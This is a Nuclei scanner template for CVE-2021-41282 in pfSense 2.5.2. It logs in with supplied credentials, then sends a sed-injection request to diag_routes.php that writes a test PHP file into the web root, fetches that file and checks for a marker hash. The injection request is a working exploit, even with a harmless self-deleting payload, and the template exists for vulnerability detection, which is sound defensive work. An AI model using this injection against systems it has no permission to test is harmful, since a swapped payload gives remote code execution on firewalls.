nuclei-templates/cves/2021/CVE-2021-41282.yaml

55 lines
2.0 KiB
YAML

id: CVE-2021-41282
info:
name: pfSense Arbitrary File Write to RCE
author: cckuailong
severity: high
description: diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (i.e., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
reference:
- https://www.shielder.it/advisories/pfsense-remote-command-execution/
- https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
- https://nvd.nist.gov/vuln/detail/CVE-2021-41282
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-41282
cwe-id: CWE-94
tags: cve,cve2021,pfsense,rce,authenticated
requests:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
- |
GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
Host: {{Hostname}}
- |
GET /test.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
extractors:
- type: regex
name: csrf_token
part: body
internal: true
group: 1
regex:
- '(sid:[a-z0-9,;:]+)'
matchers:
- type: dsl
dsl:
- "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
- "status_code==200"
condition: and